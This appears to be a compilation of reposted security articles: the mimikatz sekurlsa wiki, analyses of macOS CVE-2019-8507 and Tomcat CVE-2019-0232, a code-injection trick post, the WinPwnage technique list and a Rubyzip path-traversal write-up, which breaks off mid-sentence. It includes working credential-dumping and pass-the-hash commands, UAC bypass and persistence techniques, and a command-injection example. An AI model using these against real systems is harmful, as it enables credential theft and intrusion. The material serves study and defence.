Nytro

module ~ sekurlsa Benjamin DELPY edited this page a day ago · 43 revisions This module extracts passwords, keys, pin codes, tickets from the memory of lsass (Local Security Authority Subsystem Service) the process by default, or a minidump of it! (see: howto ~ get passwords by memory dump for minidump or other dumps instructions) When working with lsass process, mimikatz needs some rights, choice: Administrator, to get debug privilege via privilege::debug SYSTEM account, via post exploitation tools, scheduled tasks, psexec -s ... - in this case debug privilege is not needed. Without rights to access lsass process, all commands will fail with an error like this: ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005) (except when working with a minidump). So, do not hesitate to start with: mimikatz # privilege::debug Privilege '20' OK mimikatz # log sekurlsa.log Using 'sekurlsa.log' for logfile : OK ...before others commands The information that can be extracted depends on the version of Windows and authentication methods: [en] http://1drv.ms/1fCWkhu Starting with Windows 8.x and 10, by default, there is no password in memory. Exceptions: When DC is/are unreachable, the kerberos provider keeps passwords for future negocation ; When HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest, UseLogonCredential (DWORD) is set to 1, the wdigest provider keeps passwords ; When values in Allow* in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults or HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation, the tspkgs / CredSSP provider keeps passwords. Of course, not when using Credential Guard. Commands: logonpasswords, pth, tickets, ekeys, dpapi, minidump, process, searchpasswords, msv, wdigest, kerberos, tspkg, livessp, ssp, credman logonpasswords mimikatz # sekurlsa::logonpasswords Authentication Id : 0 ; 88038 (00000000:000157e6) Session : Interactive from 1 User Name : Gentil Kiwi Domain : vm-w7-ult SID : S-1-5-21-2044528444-627255920-3055224092-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 tspkg : * Username : Gentil Kiwi * Domain : vm-w7-ult * Password : waza1234/ wdigest : * Username : Gentil Kiwi * Domain : vm-w7-ult * Password : waza1234/ kerberos : * Username : Gentil Kiwi * Domain : vm-w7-ult * Password : waza1234/ ssp : [00000000] * Username : admin * Domain : nas * Password : anotherpassword credman : [00000000] * Username : nas\admin * Domain : nas.chocolate.local * Password : anotherpassword pth Pass-The-Hash mimikatz can perform the well-known operation 'Pass-The-Hash' to run a process under another credentials with NTLM hash of the user's password, instead of its real password. For this, it starts a process with a fake identity, then replaces fake information (NTLM hash of the fake password) with real information (NTLM hash of the real password). Arguments: /user - the username you want to impersonate, keep in mind that Administrator is not the only name for this well-known account. /domain - the fully qualified domain name - without domain or in case of local user/admin, use computer or server name, workgroup or whatever. /rc4 or /ntlm - optional - the RC4 key / NTLM hash of the user's password. /aes128 - optional - the AES128 key derived from the user's password and the realm of the domain. /aes256 - optional - the AES256 key derived from the user's password and the realm of the domain. /run - optional - the command line to run - default is: cmd to have a shell. mimikatz # sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a user : Administrateur domain : chocolate.local program : cmd.exe NTLM : cc36cf7a8514893efccd332446158b1a | PID 712 | TID 300 | LUID 0 ; 362544 (00000000:00058830) \_ msv1_0 - data copy @ 000F8AF4 : OK ! \_ kerberos - data copy @ 000E23B8 \_ rc4_hmac_nt OK \_ rc4_hmac_old OK \_ rc4_md4 OK \_ des_cbc_md5 -> null \_ des_cbc_crc -> null \_ rc4_hmac_nt_exp OK \_ rc4_hmac_old_exp OK \_ *Password replace -> null Also valid on Windows recent versions: sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 Remarks: this command does not work with minidumps (nonsense); it requires elevated privileges (privilege::debug or SYSTEM account), unlike 'Pass-The-Ticket' which uses one official API ; this new version of 'Pass-The-Hash' replaces RC4 keys of Kerberos by the ntlm hash (and/or replaces AES keys) - it permits to the Kerberos provider to ask TGT tickets! ; ntlm hash is mandatory on XP/2003/Vista/2008 and before 7/2008r2/8/2012 kb2871997 (AES not available or replaceable) ; AES keys can be replaced only on 8.1/2012r2 or 7/2008r2/8/2012 with kb2871997, in this case you can avoid ntlm hash. See also: Pass-The-Ticket: kerberos::ptt Golden Ticket: kerberos::golden tickets List and export Kerberos tickets of all sessions. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users). Argument: /export - optional - tickets are exported in .kirbi files. They start with user's LUID and group number (0 = TGS, 1 = client ticket(?) and 2 = TGT) mimikatz # sekurlsa::tickets /export Authentication Id : 0 ; 541043 (00000000:00084173) Session : Interactive from 2 User Name : Administrateur Domain : CHOCOLATE SID : S-1-5-21-130452501-2365100805-3685010670-500 * Username : Administrateur * Domain : CHOCOLATE.LOCAL * Password : (null) Group 0 - Ticket Granting Service [00000000] Start/End/MaxRenew: 11/05/2014 16:47:59 ; 12/05/2014 02:47:58 ; 18/05/2014 16:47:58 Service Name (02) : ldap ; srvcharly.chocolate.local ; @ CHOCOLATE.LOCAL Target Name (02) : ldap ; srvcharly.chocolate.local ; @ CHOCOLATE.LOCAL Client Name (01) : Administrateur ; @ CHOCOLATE.LOCAL Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac d0195b657e63cdec73f32bf44d36bb12a62c928de6db9964b5a87c55721f8d04 Ticket : 0x00000012 - aes256_hmac ; kvno = 5 [...] * Saved to file [0;84173]-0-0-40a50000-Administrateur@ldap-srvcharly.chocolate.local.kirbi ! [00000001] Start/End/MaxRenew: 11/05/2014 16:47:59 ; 12/05/2014 02:47:58 ; 18/05/2014 16:47:58 Service Name (02) : LDAP ; srvcharly.chocolate.local ; chocolate.local ; @ CHOCOLATE.LOCAL Target Name (02) : LDAP ; srvcharly.chocolate.local ; chocolate.local ; @ CHOCOLATE.LOCAL Client Name (01) : Administrateur ; @ CHOCOLATE.LOCAL ( CHOCOLATE.LOCAL ) Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 60cedabb5c3e2874131e9770c2d858fdec0342acf8c8787771d7c4475ace0392 Ticket : 0x00000012 - aes256_hmac ; kvno = 5 [...] * Saved to file [0;84173]-0-1-40a50000-Administrateur@LDAP-srvcharly.chocolate.local.kirbi ! Group 1 - Client Ticket ? Group 2 - Ticket Granting Ticket [00000000] Start/End/MaxRenew: 11/05/2014 16:47:58 ; 12/05/2014 02:47:58 ; 18/05/2014 16:47:58 Service Name (02) : krbtgt ; CHOCOLATE.LOCAL ; @ CHOCOLATE.LOCAL Target Name (02) : krbtgt ; CHOCOLATE.LOCAL ; @ CHOCOLATE.LOCAL Client Name (01) : Administrateur ; @ CHOCOLATE.LOCAL ( CHOCOLATE.LOCAL ) Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 4b42cce01deffbfb0e67efc18c993bb52601848763aecf322030329cd1882e4c Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...] * Saved to file [0;84173]-2-0-40e10000-Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi ! See also: Pass-The-Ticket: kerberos::ptt Golden Ticket: kerberos::golden ekeys mimikatz # sekurlsa::ekeys Authentication Id : 0 ; 541043 (00000000:00084173) Session : Interactive from 2 User Name : Administrateur Domain : CHOCOLATE SID : S-1-5-21-130452501-2365100805-3685010670-500 * Username : Administrateur * Domain : CHOCOLATE.LOCAL * Password : (null) * Key List : aes256_hmac b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 rc4_hmac_nt cc36cf7a8514893efccd332446158b1a rc4_hmac_old cc36cf7a8514893efccd332446158b1a rc4_md4 cc36cf7a8514893efccd332446158b1a rc4_hmac_nt_exp cc36cf7a8514893efccd332446158b1a rc4_hmac_old_exp cc36cf7a8514893efccd332446158b1a dpapi mimikatz # sekurlsa::dpapi Authentication Id : 0 ; 251812 (00000000:0003d7a4) Session : Interactive from 1 User Name : Administrateur Domain : CHOCOLATE SID : S-1-5-21-130452501-2365100805-3685010670-500 [00000000] * GUID : {62f69fd3-0a99-4531-bf94-7442fdf1e411} * Time : 01/05/2014 13:12:39 * Key : 8801bde168af739ab81aa32b79aa0ee4c27cb9c0dc94b6ab0a8516e650b4bdd565110ae1040d3e47add422454d92b307276bebdba7b23b2b2f8005066ede3580 minidump mimikatz # sekurlsa::minidump lsass.dmp Switch to MINIDUMP : 'lsass.dmp' mimikatz # sekurlsa::logonpasswords Opening : 'lsass.dmp' file for minidump... Authentication Id : 0 ; 88038 (00000000:000157e6) Session : Interactive from 1 User Name : Gentil Kiwi Domain : vm-w7-ult SID : S-1-5-21-2044528444-627255920-3055224092-1000 msv : [00000003] Primary * Username : Gentil Kiwi * Domain : vm-w7-ult * LM : d0e9aee149655a6075e4540af1f22d3b * NTLM : cc36cf7a8514893efccd332446158b1a * SHA1 : a299912f3dc7cf0023aef8e4361abfc03e9a8c30 ... Remark: Dump from Works on NT 5 - x86 NT 5 - x86 NT 5 - x64 NT 5 - x64 NT 6 - x86 NT 6 - x86/x64 (mimikatz x86) NT 6 - x64 NT 6 - x64 Some errors: ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->MajorVersion (A) != MIMIKATZ_NT_MAJOR_VERSION (B) You try to open minidump from a Windows NT of another major version (NT5 vs NT6). ERROR kuhl_m_sekurlsa_acquireLSA ; Minidump pInfos->ProcessorArchitecture (A) != PROCESSOR_ARCHITECTURE_xxx (B) You try to open minidump from a Windows NT of another architecture (x86 vs x64). ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000002) The minidump file is not found (check path). process searchpasswords msv Authentication Id : 0 ; 3518063 (00000000:0035ae6f) Session : Unlock from 1 User Name : Administrateur Domain : CHOCOLATE SID : S-1-5-21-130452501-2365100805-3685010670-500 msv : [00010000] CredentialKeys * RootKey : 2a099891174e2d700d44368255a53a1a0e360471343c1ad580d57989bba09a14 * DPAPI : 43d7b788389b67ee3bcac1786f01a75f Authentication Id : 0 ; 3463053 (00000000:0034d78d) Session : Interactive from 2 User Name : utilisateur Domain : CHOCOLATE SID : S-1-5-21-130452501-2365100805-3685010670-1107 msv : [00010000] CredentialKeys * NTLM : 8e3a18d453ec2450c321003772d678d5 * SHA1 : 90bbad2741ee9c533eb8eb37f8fb4172b8896ffa [00000003] Primary * Username : utilisateur * Domain : CHOCOLATE * LM : 00000000000000000000000000000000 * NTLM : 8e3a18d453ec2450c321003772d678d5 * SHA1 : 90bbad2741ee9c533eb8eb37f8fb4172b8896ffa wdigest kerberos When using smartcard logon on the domain, lsass caches PIN code of the smartcard mimikatz # sekurlsa::kerberos [...] kerberos : * Username : Administrateur * Domain : CHOCOLATE.LOCAL * Password : (null) * PIN code : 1234 tspkg livessp ssp credman Sursa: https://github.com/gentilkiwi/mimikatz/wiki/module-~-sekurlsa

Detailed Analysis of macOS Vulnerability CVE-2019-8507 By Kai Lu | April 23, 2019 FortiGuard Labs Threat Analysis Report on an Memory Corruption Vulnerability in QuartzCore while Handling Shape Object. On March 25, 2019, Apple released macOS Mojave 10.14.4 and iOS 12.2. These two updates fixed a number of security vulnerabilities, including CVE-2019-8507 in QuartzCore (aka CoreAnimation), which I reported to Apple on January 3, 2019 using our FortiGuard Labs responsible disclosure process, read more. For more details on the Apple updates, please refer to https://support.apple.com/en-us/HT209600. In this blog I will provide a detailed analysis of this issue on macOS. Some of the analysis techniques used can be found in my previous blog, “Detailed Analysis of macOS/iOS Vulnerability CVE-2019-6231”. 0x01 A Quick Look QuartzCore, also known as CoreAnimation, is a framework used by macOS and iOS to create animatable scene graphics. CoreAnimation uses a unique rendering model where the graphics operations are run in a separate process. On macOS, the process is WindowServer. On iOS, the process is backboard. The service named com.apple.CARenderServer in QuartzCore is usually referenced as CARenderServer. This service exists in both macOS and iOS, and can be accessed from the Safari Sandbox. A memory corruption vulnerability exists when QuartzCore handles a shape object in the function CA::Render::Decoder::decode_shape() on macOS. This may lead to unexpected application termination. The following is the crash log of the WindowServer process when this issue is triggered. 0x02 Proof of Concept In this section I will demonstrate a PoC (Proof of Concept) used to trigger this issue. The PoC is shown below. A comparison between the original Mach message and the crafted Mach message is shown below. Figure 1. The diff between the crafted Mach message and the original Mach message Through binary diff, we only need to modify one byte at offset 0xB6 from 0x06 to 0x86 in order to trigger this issue. As shown in the PoC’s code, in order to send a crafted Mach message to trigger this issue, we first need to send a Mach message with msgh_id 40202 (the corresponding handler in the server is _XRegisterClient) to retrieve the connection ID for every newly-connected client. Once we get the value of the connection ID, we set this value at the corresponding offset (0x2C) in the crafted Mach message. Finally, we just send this Mach message to reproduce this vulnerability. 0x03 Analysis and Root of Cause In this section, I will dynamically debug this vulnerability with LLDB to determine the root cause. Note that you need to debug the WindowServer process via SSH mode. Based on the stack backtrace of the crashed thread from the crash log, we could set a conditional breakpoint at the function CA::Render::Server::ReceivedMessage::run_command_stream using the following commands. The value of conn_id can be obtained by setting a breakpoint at line 86 in the PoC’s C code. After this breakpoint is hit, we can read the buffer data of the crafted Mach message I sent. The register r13 points to the crafted Mach message. Figure 2. The crafted Mach message CARenderServer received The function CA::Render::Decoder::decode_object(CA::Render::Decoder *this, CA::Render::Decoder *a2) is used to decode all kinds of object data. The buffer data starting at offset 0x70000907dd52 is an Image object (marked in green). Figure 3. The crafted Mach message with an abnormal Image object The following code branch is used to parse the Image object data in the function CA::Render::Decoder::decode_object. Figure 4. The code branch to handle the Image object data Next, let’s take a closer look at how the Image object is handled. The following is the function CA::Render::Image::decode(). I add some comments that explain what each field in the Image object means. Figure 5. The function CA::Render::Image::decode() We can see that one byte at offset 0x70000907dd52 was mutated from 0x06 to 0x86. So the variable v4 is now equal to 0x86. The program could then jump to LABEL_31 to execute other branch codes because the variable v4 is larger than 0x20. At the end of LABEL_31, the program continues to handle the subsequent data that represents a Texture object by calling the function CA::Render::Texture::decode(CA::Render::Texture *this, CA::Render::Decoder *a2). Figure 6. The function CA::Render::Texture::decode We can see that it could invoke the function CA::Render::Decoder::decode_shape to handle the Shape object data. Let’s continue to trace how the next set of data is handled. Figure 7. The function CA::Render::Decoder::decode_shape We can see that the variable v2 is equal to 0x02. It could then allocate a buffer whose size is 8 bytes. Finally, it could invoke the function CA::Render::Decoder::decode_bytes to decode several bytes of data. And this function takes three parameters: The 2nd one points to the previous buffer allocated by the function malloc_zone_malloc. The 3rd one is a size_t type, and could be calculated by the expression “4LL * v2 – 12”, which obviously causes an integer overflow where the result is equal to 0xfffffffffffffffc. So when it calls the function bzero(), its first parameter points to a smaller buffer, but its second parameter is a super large unsigned 64-bits integer, which could lead to memory corruption. Figure 8. The function CA::Render::Decoder::decode_bytes The root cause of this issue is that it lacked a restricted bounds check in the function CA::Render::Decoder::decode_shape. Now that we have now finished the detailed analysis of this vulnerability, let’s look at how Apple fixed it. Figure 9. The comparison between before patch and after patch 0x04 Conclusion This vulnerability only affects macOS based on Apple’s security update. This issue exists in QuartzCore when handling shape object in the function CA::Render::Decoder::decode_shape() due to the lack of restricted input validation. Through a comparison between code before and after the patch, we can see that this issue was addressed with improved input validation. 0x05 Affected Versions macOS Mojave 10.14.2 macOS Mojave 10.14.3 0x06 Analysis Environment macOS 10.14.2 (18C54) MacBook Pro 0x07 Timeline Discovery date: January 1, 2019 Notification date: January 3, 2019 Confirmation date: March 20, 2019 Release date: March 25, 2019 0x08 Reference https://support.apple.com/en-us/HT209600 https://www.fortinet.com/blog/threat-research/detailed-analysis-of-macos-ios-vulnerability-cve-2019-6231.html Learn more about FortiGuard Labs and the FortiGuard Security Services portfolio. Sign up for the weekly FortiGuard Threat Intelligence Briefs. Learn more about the FortiGuard Security Rating Service, which provides security audits and best practices. Read more about our Network Security Expert program, Network Security Academy program or our FortiVets program. Sursa: https://www.fortinet.com/blog/threat-research/detailed-analysis-mac-os-vulnerability-cve-2019-8507.html

WordWarper – new code injection trick April 23, 2019 in Code Injection This is a trivial case of yet another functionality available that can help to execute code in a remote process. Same as with PROPagate technique, it only affects selected windows, but it can of course be used as an evasion, especially in early stages of compromise. Edit controls (including Rich Edit) are very common Windows controls present in most applications. They are either embedded directly, or as subclassed windows. When they display text in multiline mode they use so-called EditWordBreakProc callback function. Anytime the control needs to do something related to word wrapping the procedure will be called. One can modify this function for any window by sending EM_SETWORDBREAKPROC message to it. If windows is an Edit control or its descendant, funny things may happen. In order to see which windows are susceptible to such modification I created a simple demo program that basically sends this message to every window on my desktop. After looking around and running some potential victim programs I quickly found a good candidate to demo the technique: The Sticky Notes (StikyNot). I ran it under the debugger to catch the moment it crashes, and then ran my test program. It changed the procedure for every window to 0x12345678. And this is what happens when you start typing in Sticky Notes after the procedure was changed: I bet there are more programs that can be targeted this way, but as usual, I leave it as a home work to the reader Sursa: http://www.hexacorn.com/blog/2019/04/23/wordwarper-new-code-injection-trick/

WinPwnage The goal of this repo is to study the Windows penetration techniques. Techniques are found online, on different blogs and repos here on GitHub. I do not take credit for any of the findings, thanks to all the researchers. UAC bypass techniques: UAC bypass using fodhelper UAC bypass using computerdefaults UAC bypass using slui UAC bypass using silentcleanup UAC bypass using compmgmtlauncher UAC bypass using sdclt (isolatedcommand) UAC bypass using sdclt (App Paths) UAC bypass using perfmon UAC bypass using eventviewer UAC bypass using sysprep (dll payload supported) UAC bypass using migwiz (dll payload supported) UAC bypass using mcx2prov (dll payload supported) UAC bypass using cliconfg (dll payload supported) UAC bypass using token manipulation UAC bypass using sdclt and Folder class UAC bypass using cmstp UAC bypass using .NET Code Profiler (dll payload supported) UAC bypass using mocking trusted directories (dll payload supported) UAC bypass using wsreset Persistence techniques: Persistence using userinit key Persistence using image file execution option and magnifier Persistence using hkey_local_machine run key Persistence using hkey_current_user run key Persistence using schtask (SYSTEM privileges) Persistence using explorer dll hijack Persistence using mofcomp and mof file (SYSTEM privileges) Persistence using wmic (SYSTEM privileges) Persistence using startup files Persistence using Cortana App Persistence using People App Persistence using bitsadmin Persistence using Windows Service (SYSTEM privileges) Elevation techniques: Elevate from administrator to NT AUTHORITY SYSTEM using handle inheritance Elevate from administrator to NT AUTHORITY SYSTEM using named pipe impersonation Elevate from administrator to NT AUTHORITY SYSTEM using token impersonation Elevate from administrator to NT AUTHORITY SYSTEM using schtasks (non interactive) Elevate from administrator to NT AUTHORITY SYSTEM using wmic (non interactive) Elevate from administrator to NT AUTHORITY SYSTEM using windows service (non interactive) Execution techniques: Execute payload by calling the RegisterOCX function in Advpack.dll Execute payload using appvlp binary Execute payload from bash.exe if linux subsystem is installed Execute payload using diskshadow.exe from a prepared diskshadow script Execute payload as a subprocess of Dxcap.exe Execute payload since there is a match for notepad.exe in the system directory Execute payload using ftp binary Execute payload by calling the RegisterOCX function in ieadvpack.dll Execute payload by calling OpenURL in ieframe.dll Execute payload using the Program Compatibility Assistant Execute payload by calling the LaunchApplication function Execute payload by calling OpenURL in shdocvw.dll Execute payload using sqltoolsps binary Execute payload by calling OpenURL in url.dll Execute payload as a subprocess of vsjitdebugger.exe Execute payload by calling RouteTheCall in zipfldr.dll Installing the Dependencies: pip install -r requirements.txt Build with py2exe: In order for a successful build, install the py2exe (http://www.py2exe.org) module and use the provided build.py script to compile all the scripts in to a portable executable. This only seems to work on Python 2, not on Python 3. python build.py winpwnage.py Build with PyInstaller: This build works on both Python 2 and Python 3 and puts the .exe file into the dist directory. pip install pyinstaller pyinstaller --onefile winpwnage.py On Windows 10, Access Denied errors can accure while compiling, rerun until success or elevate the prompt. Read: https://wikileaks.org/ciav7p1/cms/page_2621770.html https://wikileaks.org/ciav7p1/cms/page_2621767.html https://wikileaks.org/ciav7p1/cms/page_2621760.html https://msdn.microsoft.com/en-us/library/windows/desktop/bb736357(v=vs.85).aspx https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/ https://github.com/winscripting/UAC-bypass/ https://www.greyhathacker.net/?p=796 https://github.com/hfiref0x/UACME https://bytecode77.com/hacking/exploits/uac-bypass/performance-monitor-privilege-escalation https://bytecode77.com/hacking/exploits/uac-bypass/slui-file-handler-hijack-privilege-escalation https://media.defcon.org/DEF%20CON%2025/DEF%20CON%2025%20workshops/DEFCON-25-Workshop-Ruben-Boobeb-UAC-0day-All-Day.pdf https://lolbas-project.github.io Sursa: https://github.com/rootm0s/WinPwnage

Uncovering CVE-2019-0232: A Remote Code Execution Vulnerability in Apache Tomcat Posted on:April 24, 2019 at 4:57 am Posted in:Vulnerabilities Author: Trend Micro by Santosh Subramanya and Raghvendra Mishra Apache Tomcat, colloquially known as Tomcat Server, is an open-source Java Servlet container developed by a community with the support of the Apache Software Foundation (ASF). It implements several Java EE specifications, including Java Servlet, JavaServer Pages (JSP), Java Expression Language (EL), and WebSocket, and provides a “pure Java” HTTP web server environment in which Java code can run. On April 15, Nightwatch Cybersecurity published information on CVE-2019-0232, a remote code execution (RCE) vulnerability involving Apache Tomcat’s Common Gateway Interface (CGI) Servlet. This high severity vulnerability could allow attackers to execute arbitrary commands by abusing an operating system command injection brought about by a Tomcat CGI Servlet input validation error. This blog entry delves deeper into this vulnerability by expounding on what it is, how it can be exploited, and how it can be addressed. Understanding CVE-2019-0232 The CGI is a protocol that is used to manage how web servers interact with applications. These applications, called CGI scripts, are used to execute programs external to the Tomcat Java virtual machine (JVM). The CGI Servlet, which is disabled by default, is used to generate command line parameters generated from a query string. However, Tomcat servers running on Windows machines that have the CGI Servlet parameter enableCmdLineArguments enabled are vulnerable to remote code execution due to a bug in how the Java Runtime Environment (JRE) passes command line arguments to Windows. In Apache Tomcat, the file web.xml is used to define default values for all web applications loaded into a Tomcat instance. The CGI Servlet is one of the servlets provided as default. This servlet supports the execution of external applications that conform to the CGI specification. Typically, the CGI Servlet is mapped to the URL pattern “/cgi-bin/*”, meaning any CGI applications that are executed must be present within the web application. A new process in Windows OS is launched by calling the CreateProcess() function, which takes the following command line as a string (the lpComandLine parameter to CreateProcess? int CreateProcess( …, lpComandLine, … ) In Windows, arguments are not passed separately as an array of strings but rather in a single command-line string. This requires the program to parse the command line itself by extracting the command line string using GetCommandLine() API and then parsing the arguments string using CommandLineArgvW() helper function. This is depicted in the flowchart shown below: Cmdline = “program.exe hello world” Figure 1. Command line string for Windows Argv[0]->program.exe Argv[1]->hello Argv[2]->world The vulnerability occurs due to the improper passing of command line arguments from JRE to Windows. For Java applications, ProcessBuilder() is called before CreateProcess() function kicks in. The arguments are then passed to the static method start of ProcessImpl(), which is a platform-dependent class. In the Windows implementation of ProcessImpl(), the start method calls the private constructor of ProcessImpl(), which creates the command line for the CreateProcess call. Figure 2. Command line string for Java apps ProcessImpl() builds the Cmdline and passes it to the CreateProcess() Windows function, after which CreateProcess() executes the .bat and .cmd files in a cmd.exe shell environment. If the file that is to be run contains a .bat or .cmd extension, the image to be run then becomes cmd.exe, the Windows command prompt. CreateProcess() then restarts at Stage 1, with the name of the batch file being passed as the first parameter to cmd.exe. This results in a ‘hello.bat …’ becoming ‘C:\Windows\system32\cmd.exe /c “hello.bat …”‘. Because the quoting rules for CommandLineToArgvW differ from those of cmd’s, this means that an additional set of quoting rules would need to be applied to avoid command injection in the command line interpreted by cmd.exe. Since Java (ProcessImpl()) does no additional quoting for this implicit cmd.exe call promotion on the passed arguments, arguments processed by cmd.exe is now used to execute, presenting inherent issues if arguments are not passed to cmd.exe properly. Argument parsing by cmd.exe We begin with the understanding that cmd is essentially a text preprocessor: Given a command line, it makes a series of textual transformations then hands the transformed command line to CreateProcess(). Some transformations replace environment variable names with their values. Transformations such as those triggered by the &, ||, && operators, split command lines into several parts. All of cmd’s transformations are triggered by the presence of one of the following metacharacters: (, ), %, !, ^, “, <, >, &, and |. The metacharacter “ is particularly interesting: When cmd is transforming a command line and sees a “, it copies a “ to the new command line then begins copying characters from the old command line to the new one without seeing whether any of these characters is a metacharacter. This continues until cmd either reaches the end of the command line, runs into a variable substitution, or sees another “. If we rely on cmd’s “-behavior to protect arguments, using quotation marks will produce unexpected behavior. By passing untrusted data as command line parameters, the bugs caused by this convention mismatch become a security issue. Take for example, the following: hello.bat “dir \”&whoami” 0: [hello.bat] 1: [&dir] Here, cmd is interpreting the & metacharacter as a command separator because, from its point of view, the & character lies outside the quoted region. In this scenario, ‘whoami’ can be replaced by any number of harmful commands. When running the command shown above with hello.bat, we get the following output. Figure 3. The resulting output when running “hello.bat” The issue shown in the screenshot is used in Apache Tomcat to successfully perform command execution, which is shown in the following image: Figure 4. Performing command execution in Apache Tomcat To successfully perform command injection, we need to add a few parameters and enable CGI Servlet in the web.xml file. Figure 5. Snapshot of web.xml The Apache Software Foundation has introduced a new parameter, cmdLineArgumentsDecoded, in Apache Tomcat CGI Servlet that is designed to address CVE-2019-0232. cmdLineArgumentsDecoded is only used when enableCmdLineArguments is set to true. It defines a regex pattern “[[a-zA-Z0-9\Q-_.\\/:\E]+]” that individual decoded command line arguments must match or else the request will be rejected. The introduced patch will eliminate the vulnerability that arises from using spaces and double quotes in command line arguments. Figure 6. The Apache Tomcat patch, which can be found in the codebase Recommendations and Trend Micro Solutions Apache Software Foundation recommends that users running Apache Tomcat upgrade their software to the latest versions: Version Recommended Patch Apache Tomcat 9 Apache Tomcat 9.0.18 or later Apache Tomcat 8 Apache Tomcat 8.5.40 or later Apache Tomcat 7 Apache Tomcat 7.0.93 or later Furthermore, users should set the CGI Servlet initialization parameter enableCmdLineArguments to false to prevent possible exploitation of CVE-2019-0232. Developers, programmers, and system administrators using Apache Tomcat can also consider multilayered security technology such as Trend Micro™ Deep Security™ and Vulnerability Protection solutions, which protect user systems from threats that may exploit CVE-2019-0232 via the following Deep Packet Inspection (DPI) rule: 1009697 – Apache Tomcat Remote Code Execution Vulnerability (CVE-2019-0232) Trend Micro TippingPoint® Threat Protection System customers are protected from attacks that exploit CVE-2019-0232 via the following MainlineDV filter: 315387 – HTTP: Apache Tomcat Remote Code Execution on Windows Sursa: https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/

On insecure zip handling, Rubyzip and Metasploit RCE (CVE-2019-5624) 24 Apr 2019 - Posted by Luca Carettoni During one of our projects we had the opportunity to audit a Ruby-on-Rails (RoR) web application handling zip files using the Rubyzip gem. Zip files have always been an interesting entry-point to triggering multiple vulnerability types, including path traversals and symlink file overwrite attacks. As the library under testing had symlink processing disabled, we focused on path traversal exploitation. This blog post discusses our results, the “bug” discovered in the library itself and the implication of such an issue in a popular piece of software - Metasploit. Rubyzip and old vulnerabilities The Rubyzip gem has a long history of path traversal vulnerabilities (1, 2) through malicious filenames. Particularly interesting was the code change in PR #376 where a different handling was implemented by the developers. # Extracts entry to file dest_path (defaults to @name). # NB: The caller is responsible for making sure dest_path is safe, # if it is passed. def extract(dest_path = nil, &block) if dest_path.nil? && !name_safe? puts "WARNING: skipped #{@name} as unsafe" return self end [...] Entry#name_safe is defined a few lines before as: # Is the name a relative path, free of `..` patterns that could lead to # path traversal attacks? This does NOT handle symlinks; if the path # contains symlinks, this check is NOT enough to guarantee safety. def name_safe? cleanpath = Pathname.new(@name).cleanpath return false unless cleanpath.relative? root = ::File::SEPARATOR naive_expanded_path = ::File.join(root, cleanpath.to_s) cleanpath.expand_path(root).to_s == naive_expanded_path end In the code above, if the destination path is passed to the Entry#extract function then it is not actually checked. A comment in the source code of that function highlights the user’s responsibility: # NB: The caller is responsible for making sure dest_path is safe, if it is passed. While the Entry#name_safe is a fair check against path traversals (and absolute paths), it is only executed when the function is called without arguments. In order to verify the library bug we generated a ZIP PoC using the old (and still good) evilarc, and extracted the malicious file using the following code: require 'zip' first_arg, *the_rest = ARGV Zip::File.open(first_arg) do |zip_file| zip_file.each do |entry| puts "Extracting #{entry.name}" entry.extract(entry.name) end end $ ls /tmp/file.txt ls: cannot access '/tmp/file.txt': No such file or directory $ zipinfo absolutepath.zip Archive: absolutepath.zip Zip file size: 289 bytes, number of entries: 2 drwxr-xr-x 2.1 unx 0 bx stor 18-Jun-13 20:13 /tmp/ -rw-r--r-- 2.1 unx 5 bX defN 18-Jun-13 20:13 /tmp/file.txt 2 files, 5 bytes uncompressed, 7 bytes compressed: -40.0% $ ruby Rubyzip-poc.rb absolutepath.zip Extracting /tmp/ Extracting /tmp/file.txt $ ls /tmp/file.txt /tmp/file.txt Resulting in a file being created in /tmp/file.txt, which confirms the issue. As happened with our client, most developers might have upgraded to Rubyzip 1.2.2 thinking it was safe to use without actually verifying how the library works or its specific usage in the codebase. It would have been vulnerable anyway ¯\_(ツ)_/¯ In the context of our web application, the user-supplied zip was decompressed through the following (pseudo) code: def unzip(input) uuid = get_uuid() # 0. create a 'Pathname' object with the new uuid parent_directory = Pathname.new("#{ENV['uploads_dir']}/#{uuid}") Zip::File.open(input[:zip_file].to_io) do |zip_file| zip_file.each_with_index do |entry, index| # 1. check the file is not present next if File.file?(parent_directory + entry.name) # 2. extract the entry entry.extract(parent_directory + entry.name) end end Success end In item #0 we can see that a Pathname object is created and then used as the destination path of the decompressed entry in item #2. However, the sum operator between objects and strings does not work as many developers would expect and might result in unintended behavior. We can easily understand its behavior in an IRB shell: $ irb irb(main):001:0> require 'pathname' => true irb(main):002:0> parent_directory = Pathname.new("/tmp/random_uuid/") => #<Pathname:/tmp/random_uuid/> irb(main):003:0> entry_path = Pathname.new(parent_directory + 